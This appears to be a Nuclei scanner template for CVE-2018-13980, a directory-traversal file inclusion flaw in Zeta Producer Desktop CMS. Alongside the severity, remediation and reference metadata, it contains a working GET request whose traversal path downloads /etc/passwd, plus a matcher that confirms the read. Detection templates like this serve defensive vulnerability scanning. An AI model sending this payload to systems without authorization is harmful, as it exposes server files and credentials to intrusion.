id: CVE-2018-13980

info:
  name: Zeta Producer Desktop CMS <14.2.1 - Local File Inclusion
  author: wisnupramoedya
  severity: medium
  description: Zeta Producer Desktop CMS before 14.2.1 is vulnerable to local file inclusion if the plugin "filebrowser" is installed because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Upgrade Zeta Producer Desktop CMS to version 14.2.1 or later to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/45016
    - https://www.sec-consult.com/en/blog/advisories/remote-code-execution-local-file-disclosure-zeta-producer-desktop-cms/
    - http://packetstormsecurity.com/files/148537/Zeta-Producer-Desktop-CMS-14.2.0-Code-Execution-File-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-13980
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.5
    cve-id: CVE-2018-13980
    cwe-id: CWE-22
    epss-score: 0.06902
    epss-percentile: 0.93419
    cpe: cpe:2.3:a:zeta-producer:zeta_producer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeta-producer
    product: zeta_producer
  tags: cve2018,cve,lfi,edb,packetstorm,zeta-producer,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d27402f96202027b3999ba25fddba8bbed8f7672dd457b2fa83914b0f08bf8d90220384631415e1591c336cd00261445a5c9f00a5bae133df89b0580c714dfd20aa5:922c64590222798bb761d5b6d8e72950